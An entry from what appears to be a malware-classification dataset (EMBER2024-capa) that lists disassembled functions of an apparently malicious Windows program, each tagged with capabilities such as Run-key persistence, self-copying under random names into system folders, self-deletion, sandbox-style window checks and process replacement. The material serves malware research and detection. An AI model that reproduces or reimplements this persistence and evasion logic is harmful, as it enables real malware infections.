joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402bdd
Capabilities:
Check if file exists
Copy file
Get common file path
Get file attributes
Move file
Query environment variable
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0c
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [sym.imp.SHLWAPI.dll_StrChrA]
push edi
push 0x25
push ebx
call esi
test eax, eax
mov edi, 0x400
je 0x402c24
lea eax, [ebp - 0x60c]
push edi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
je 0x402c24
lea eax, [ebp - 0x60c]
push edi
push eax
push ebx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
cmp byte [ebx], 0x22
jne 0x402c2a
inc ebx
push 0x22
push ebx
call esi
test eax, eax
je 0x402c36
and byte [eax], 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x402d7b
mov esi, 0x4072e8
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x402d7b
push esi
push ebx
call fcn.00402b5f
pop ecx
test eax, eax
pop ecx
jne 0x402d7b
lea eax, [ebp - 0x20c]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x402c96
lea eax, [ebp - 0x20c]
push eax
push ebx
call edi
test eax, eax
jne 0x402d7b
push 0
lea eax, [ebp - 0x108]
push 0x14
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
je 0x402cbf
lea eax, [ebp - 0x108]
push eax
push ebx
call edi
test eax, eax
jne 0x402d7b
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x60c]
push esi
push eax
call edi
lea eax, [ebp - 0xa0c]
push ebx
push eax
call edi
lea eax, [ebp - 0xa0c]
push 1
push eax
call fcn.00402b90
pop ecx
test eax, eax
pop ecx
jne 0x402d7b
lea eax, [ebp - 0xa0c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
je 0x402d7b
push 1
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x402d7b
xor esi, esi
push esi
push 0x80
push 3
push esi
push esi
push 0x40000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x402d62
push 2
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x402d5b
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp + 8], eax
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp + 8]
push 4
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x4076e8], esi
jne 0x402d76
push ebx
call dword [sym.imp.SHLWAPI.dll_StrDupA]
mov dword [0x4076e8], eax
push 1
pop eax
jmp 0x402d7d
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402d82
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x810
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
mov esi, 0x400
push esi
lea eax, [ebp - 0x410]
push edi
push eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x410]
push eax
push edi
lea eax, [ebp - 0x10]
push edi
push eax
lea eax, [ebp - 0x810]
push eax
push dword [ebp - 4]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
cmp dword [ebp - 0xc], edi
mov ebx, eax
je 0x402dfe
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x402dfe
lea eax, [ebp - 0x410]
push eax
call fcn.00402bdd
add dword [ebp - 8], eax
pop ecx
inc dword [ebp - 4]
cmp ebx, edi
je 0x402d9b
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402e0d
Capabilities:
Accept command line arguments
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push esi
mov esi, 0x4072e8
push 1
push esi
call fcn.00402b90
pop ecx
cmp eax, 1
pop ecx
jne 0x402e6d
push 0x3c
lea eax, [ebp - 0x3c]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x38], 0x400
mov dword [ebp - 0x2c], esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
and dword [ebp - 0x20], 0
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov eax, dword [ebp + 8]
test eax, eax
je 0x402e6d
mov dword [eax], 1
pop esi
leave
ret

Function at 0x402e70
Capabilities:
Accept command line arguments
Create process on windows
Delete file
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push esi
push edi
mov esi, str.DEL:
lea edi, [ebp - 0x400]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0xfe
xor eax, eax
lea edi, [ebp - 0x3fb]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor edi, edi
cmp dword [ebp + 8], edi
je 0x402ede
mov esi, 0x4072e8
push 0x400
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x400]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
lea eax, [ebp - 0x400]
push edi
push eax
push dword [ebp + 8]
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x402f00
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
cmp eax, edi
je 0x402f00
add eax, 4
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
leave
ret
Function at 0x402f04
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
xor ebx, ebx
push 0x400
push 0x4072e8
push ebx
mov dword [ebp - 0xc], 0x80000001
mov dword [ebp - 8], 0x80000002
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
cmp eax, 0x78
jbe 0x402f87
push esi
push edi
push 2
lea esi, [ebp - 0xc]
pop edi
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402f7f
push dword [ebp - 4]
call fcn.00402d82
pop ecx
add ebx, eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esi, 4
dec edi
jne 0x402f4f
pop edi
pop esi
push dword [0x4076e8]
call fcn.00402e70
push dword [ebp + 8]
call fcn.00402e0d
pop ecx
mov eax, ebx
pop ecx
pop ebx
leave
ret

Function at 0x403012
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push esi
mov esi, 0x104
push edi
push esi
lea eax, [ebp - 0x108]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x108]
push esi
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea edi, [ebp + eax - 0x108]
mov byte [edi], 0x5c
inc edi
call fcn.00404483
call fcn.00404465
cdq
mov ecx, 0xffff
idiv ecx
push edx
call fcn.0040445b
pop ecx
call fcn.00404465
push 5
cdq
pop ecx
idiv ecx
add edx, ecx
test edx, edx
jle 0x4030e1
push ebx
mov bl, byte [ebp + 0xb]
mov dword [ebp - 4], edx
call fcn.00404465
push 3
cdq
pop ecx
idiv ecx
sub edx, 0
je 0x4030c8
dec edx
je 0x4030b6
dec edx
jne 0x4030d8
call fcn.00404465
push 0x19
cdq
pop ecx
idiv ecx
mov ebx, edx
add bl, 0x41
jmp 0x4030d8
call fcn.00404465
push 9
cdq
pop ecx
idiv ecx
mov ebx, edx
add bl, 0x30
jmp 0x4030d8
call fcn.00404465
push 0x19
cdq
pop ecx
idiv ecx
mov ebx, edx
add bl, 0x61
mov byte [edi], bl
inc edi
dec dword [ebp - 4]
jne 0x40308e
pop ebx
call dword [sym.imp.MSVCRT.dll_rand]
push 2
xor edi, edi
cdq
pop ecx
idiv ecx
sub edx, edi
je 0x4030fd
dec edx
jne 0x40310f
push str..com
jmp 0x403102
push str..exe
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x20c]
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.00402b5f
pop ecx
cmp eax, 1
pop ecx
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
je 0x403168
lea eax, [ebp - 0x108]
push edi
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x40316c
push 2
push 0x13
call fcn.004039ef
pop ecx
pop ecx
xor eax, eax
jmp 0x40317f
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 1
pop eax
pop edi
pop esi
leave
ret
Function at 0x403183
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x344
push ebx
push esi
push edi
xor edi, edi
push edi
mov dword [ebp - 4], edi
mov dword [ebp - 0xc], edi
call fcn.00402e70
mov ebx, 0x104
lea eax, [ebp - 0x344]
push ebx
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x10
lea eax, [ebp - 0x138]
push ebx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x138]
push 1
push eax
call fcn.00402b90
pop ecx
test eax, eax
pop ecx
jne 0x403303
mov esi, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov dword [ebp - 8], edi
mov eax, dword [ebp - 8]
push 0x105
push 8
push dword [0x4076f0]
mov dword [ebp + eax*4 - 0x20], edi
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [ebp - 8]
cmp eax, edi
mov dword [ebp + ecx*4 - 0x34], eax
je 0x4032ce
sub ecx, edi
je 0x403274
dec ecx
je 0x40325f
dec ecx
je 0x40324b
dec ecx
je 0x403237
dec ecx
jne 0x403286
push edi
push 0x28
push eax
push edi
call esi
test eax, eax
je 0x403286
mov dword [ebp - 0x10], 1
jmp 0x403286
push edi
push 0x23
push eax
push edi
call esi
test eax, eax
je 0x403286
mov dword [ebp - 0x14], 1
jmp 0x403286
push edi
push 0x1c
push eax
push edi
call esi
test eax, eax
je 0x403286
mov dword [ebp - 0x18], 1
jmp 0x403286
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x403286
mov dword [ebp - 0x1c], 1
jmp 0x403286
push edi
push 0x14
push eax
push edi
call esi
test eax, eax
je 0x403286
mov dword [ebp - 0x20], 1
inc dword [ebp - 8]
cmp dword [ebp - 8], 5
jl 0x4031ea
xor ebx, ebx
cmp dword [ebp + ebx*4 - 0x20], 1
jne 0x4032c6
mov esi, dword [ebp + ebx*4 - 0x34]
lea eax, [ebp - 0x138]
push esi
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x4032d6
lea eax, [ebp - 4]
push eax
push esi
call fcn.00403012
pop ecx
cmp eax, 1
pop ecx
mov dword [ebp - 0xc], eax
je 0x4032e5
inc ebx
cmp ebx, 5
jl 0x403295
jmp 0x4032fe
or eax, 0xffffffff
jmp 0x40336a
mov eax, dword [ebp + 8]
cmp eax, edi
je 0x403303
mov dword [eax], 1
jmp 0x403303
push dword [ebp + ebx*4 - 0x34]
lea eax, [ebp - 0x240]
push str.__s_
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
cmp dword [ebp - 0xc], edi
jne 0x403307
xor eax, eax
jmp 0x40336a
call fcn.00404465
push 0x3c
cdq
pop ecx
idiv ecx
cmp dword [ebp - 4], 0xffffffff
mov ebx, edx
jne 0x40333d
mov dword [ebp - 4], edi
xor esi, esi
lea eax, [ebp - 0x240]
push eax
push ebx
push esi
call fcn.00402fa1
add esp, 0xc
test eax, eax
jle 0x403337
inc dword [ebp - 4]
inc esi
cmp esi, 0x18
jl 0x40331f
cmp dword [ebp - 4], edi
jne 0x40335a
push 2
push 0x14
call fcn.004039ef
pop ecx
lea eax, [ebp - 0x240]
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x344]
push eax
call fcn.00402e70
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403420
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push edi
xor edi, edi
push 0x104
lea eax, [ebp - 0x108]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x108]
push edi
push 0x23
push eax
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
jne 0x403469
lea eax, [ebp - 0x108]
push 0x400
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp - 0x108]
push eax
call esi
mov byte [ebp + eax - 0x108], 0x5c
lea eax, [ebp - 0x108]
push eax
call esi
lea esi, [ebp + eax - 0x108]
call fcn.00404483
call fcn.00404465
push 4
cdq
pop ecx
idiv ecx
add edx, 6
cmp edx, edi
jle 0x4034fe
push ebx
mov bl, byte [ebp - 1]
mov edi, edx
call fcn.00404465
push 3
cdq
pop ecx
idiv ecx
sub edx, 0
je 0x4034e7
dec edx
je 0x4034d5
dec edx
jne 0x4034f7
call fcn.00404465
push 9
cdq
pop ecx
idiv ecx
mov ebx, edx
add bl, 0x30
jmp 0x4034f7
call fcn.00404465
push 0x19
cdq
pop ecx
idiv ecx
mov ebx, edx
add bl, 0x41
jmp 0x4034f7
call fcn.00404465
push 0x19
cdq
pop ecx
idiv ecx
mov ebx, edx
add bl, 0x61
mov byte [esi], bl
inc esi
dec edi
jne 0x4034ad
pop ebx
push 4
push str..dat
push esi
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.SHLWAPI.dll_StrDupA]
pop edi
pop esi
leave
ret
Function at 0x40351f
Capabilities:
Delete file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 4], edi
call fcn.00403420
cmp eax, edi
mov dword [ebp - 8], eax
je 0x4035a3
push 0x32
lea eax, [ebp - 0x118]
push 0x4076f8
push eax
call fcn.00401c4e
push dword [ebp - 8]
call fcn.00402b20
add esp, 0x10
cmp eax, 0xffffffff
mov dword [ebp - 0x14], eax
je 0x4035a3
cmp eax, 0x70
jb 0x4035a3
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x70
push 8
push dword [0x4076f0]
call ebx
mov esi, eax
cmp esi, edi
je 0x4036f5
push edi
push edi
push 3
push edi
push 1
push 0x80000000
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
jne 0x4035aa
xor eax, eax
jmp 0x403708
lea ecx, [ebp - 4]
push edi
push ecx
push 0x70
push esi
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4036d9
cmp dword [ebp - 4], 0x70
jne 0x4036d9
push 0x70
lea eax, [ebp - 0x118]
push esi
push eax
call fcn.00401ca9
add esp, 0xc
cmp dword [esi + 0x18], 0x10
jg 0x4036d0
cmp dword [esi], edi
jl 0x4036d0
cmp dword [esi + 0x6c], edi
jne 0x4036d0
mov dword [0x4076ec], esi
cmp dword [esi + 0x68], edi
mov dword [ebp - 0xc], esi
je 0x4036d9
mov eax, dword [ebp - 0x14]
cmp eax, 0x70
jbe 0x4036d9
add eax, 0xffffff91
push eax
push 8
push dword [0x4076f0]
call ebx
cmp eax, edi
mov dword [esi + 0x6c], eax
je 0x4036d9
mov ecx, dword [ebp - 0x14]
push edi
lea ebx, [ecx - 0x70]
lea ecx, [ebp - 4]
push ecx
push ebx
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4036b8
cmp dword [ebp - 4], ebx
jne 0x4036b8
push dword [ebp - 4]
lea eax, [ebp - 0x118]
push dword [esi + 0x6c]
push eax
call fcn.00401ca9
call fcn.00401c1f
mov eax, dword [ebp - 4]
mov ebx, dword [esi + 0x6c]
add eax, 0xfffffffc
push eax
lea eax, [ebx + 4]
push eax
call fcn.00401bec
add esp, 0x14
cmp eax, dword [ebx]
je 0x403694
push dword [esi + 0x6c]
push edi
push dword [0x4076f0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [esi + 0x68], edi
jmp 0x4036cb
mov eax, dword [ebp - 4]
add eax, 0xfffffffc
push eax
mov eax, dword [esi + 0x6c]
add eax, 4
push eax
call fcn.00401a97
pop ecx
cmp eax, 1
pop ecx
je 0x4036d9
mov eax, dword [0x4076ec]
mov dword [eax + 0x64], edi
jmp 0x4036d9
push dword [esi + 0x6c]
mov dword [esi + 0x68], edi
push edi
push dword [0x4076f0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [esi + 0x6c], edi
jmp 0x4036d9
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0xc], edi
jne 0x4036f5
push esi
push edi
push dword [0x4076f0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [ebp - 8]
push edi
push dword [0x4076f0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40370d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push ebx
push esi
push edi
mov edi, dword [0x4076ec]
xor esi, esi
cmp edi, esi
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], esi
je 0x40374d
call fcn.00403420
cmp eax, esi
mov dword [ebp - 0x1c], eax
je 0x403780
push 0x71
push 8
push dword [0x4076f0]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
cmp ebx, esi
jne 0x403755
or eax, 0xffffffff
jmp 0x40389d
push 0x70
push edi
push ebx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov dword [ebx + 0x6c], esi
push esi
push esi
push 2
push esi
push esi
push 0x40000000
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
jne 0x403787
xor eax, eax
jmp 0x40389d
push 0x32
lea eax, [ebp - 0x120]
push 0x4076f8
push eax
call fcn.00401c4e
call fcn.00401bcf
mov dword [ebx + 0x68], eax
push 0x70
lea eax, [ebp - 0x120]
push ebx
push eax
call fcn.00401ca9
add esp, 0x18
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 4]
push esi
push eax
push 0x70
push ebx
push dword [ebp - 0x10]
call edi
test eax, eax
je 0x403875
cmp dword [ebp - 4], 0x70
jne 0x403875
mov dword [ebp - 0xc], 1
call fcn.00401bcf
test eax, eax
je 0x403875
lea eax, [ebp - 8]
push eax
call fcn.00401b14
cmp eax, esi
pop ecx
mov dword [ebp - 0x14], eax
je 0x403871
call fcn.00401c1f
push dword [ebp - 8]
push dword [ebp - 0x14]
call fcn.00401bec
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push 4
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.00401ca9
add esp, 0x14
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x18]
push 4
push eax
push dword [ebp - 0x10]
call edi
test eax, eax
je 0x403871
cmp dword [ebp - 4], 4
jne 0x403871
push dword [ebp - 8]
lea eax, [ebp - 0x120]
push dword [ebp - 0x14]
push eax
call fcn.00401ca9
add esp, 0xc
lea eax, [ebp - 4]
push esi
push eax
push dword [ebp - 8]
push dword [ebp - 0x14]
push dword [ebp - 0x10]
call edi
test eax, eax
je 0x403871
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 4]
je 0x403875
or dword [ebp - 0xc], 0xffffffff
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
push ebx
push esi
push dword [0x4076f0]
call edi
push dword [ebp - 0x1c]
push esi
push dword [0x4076f0]
call edi
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4039f0
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
xor ebx, ebx
xor edi, edi
neg esi
sbb esi, esi
and esi, 0x3e5
inc esi
inc esi
test esi, esi
jle 0x403a44
lea eax, [ebp + 8]
push 0
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test byte [ebp + 8], 1
je 0x403a29
mov dword [0x407740], 1
test byte [ebp + 8], 0x20
je 0x403a41
push 0x1d4c0
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, esi
jl 0x403a0d
jmp 0x403a44
push 1
pop ebx
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
ret
Function at 0x403c6a
Capabilities:
Enumerate gui resources
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x858
push ebx
push esi
push edi
xor ebx, ebx
push 0x28
lea eax, [ebp - 0x30]
push ebx
push eax
call sub.MSVCRT.dll_memset
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add esp, 0xc
mov dword [ebp - 0x30], 3
mov dword [ebp - 0x2c], 0x403bea
push ebx
call edi
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x58]
mov esi, str.Basic_Window2
push eax
mov dword [ebp - 0x14], 0x10
mov dword [ebp - 0xc], esi
call dword [sym.imp.USER32.dll_RegisterClassA]
test ax, ax
jne 0x403dc0
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.USER32.dll_RegisterClassA]
test ax, ax
je 0x403dc0
push ebx
push ebx
call edi
push eax
push ebx
mov eax, 0x80000000
push ebx
push eax
push eax
push eax
push eax
mov edi, str.Blank_Window2
push 0xcf0000
push edi
push esi
push ebx
call dword [sym.imp.USER32.dll_CreateWindowExA]
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x403dc0
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push 9
push dword [ebp - 4]
mov dword [ebp - 8], eax
call esi
test eax, eax
jne 0x403d24
push ebx
push dword [ebp - 4]
call esi
push ebx
push dword [ebp - 4]
call esi
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov ebx, dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x458]
push 0x400
push eax
push dword [ebp - 4]
call ebx
lea eax, [ebp - 0x458]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x403dc0
mov esi, str.hello4
lea edi, [ebp - 0x858]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0xfe
lea edi, [ebp - 0x851]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [ebp - 0x858]
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetWindowTextA]
lea eax, [ebp - 0x458]
push 0x400
push eax
push dword [ebp - 4]
call ebx
lea eax, [ebp - 0x458]
push str.hello4
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x403dc0
push eax
push 0x403c17
call dword [sym.imp.USER32.dll_EnumWindows]
test eax, eax
jne 0x403dc4
xor eax, eax
jmp 0x403dd4
push 0
push 0x40775c
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403dd9
Capabilities:
Execute shellcode via indirect call
Parse pe header
Terminate process
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
xor ebx, ebx
push ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jne 0x403e09
call fcn.00403b2c
test eax, eax
jne 0x403e09
call fcn.00403c6a
cmp eax, 1
je 0x403e10
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
push edi
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x4076f8
mov dword [0x4076f0], eax
call fcn.00404570
lea eax, [ebp - 0xc]
push eax
call fcn.00402f04
mov esi, eax
lea eax, [ebp - 8]
push eax
call fcn.00403183
add esp, 0xc
cmp dword [ebp - 0xc], ebx
mov edi, eax
jne 0x403e6d
cmp dword [ebp - 8], ebx
jne 0x403e6d
lea eax, [edi + esi]
mov dword [0x407754], ebx
push eax
push 1
call fcn.004039ef
pop ecx
pop ecx
push 1
pop eax
jmp 0x403e75
push 1
pop eax
mov dword [0x407754], eax
cmp dword [ebp - 8], eax
je 0x403e82
cmp esi, ebx
jne 0x403e82
cmp edi, ebx
je 0x403e85
mov dword [ebp - 4], eax
call fcn.004038a2
call fcn.00404671
mov dword [0x407744], eax
mov eax, dword [0x4076ec]
pop edi
cmp eax, ebx
pop esi
je 0x403ea4
cmp dword [eax + 0x64], ebx
jne 0x403ea9
call fcn.00401bb1
xor eax, eax
cmp dword [ebp - 4], ebx
sete al
push eax
call fcn.004039f0
test eax, eax
pop ecx
je 0x403ec5
push dword [ebp - 4]
call fcn.00403a4b
pop ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]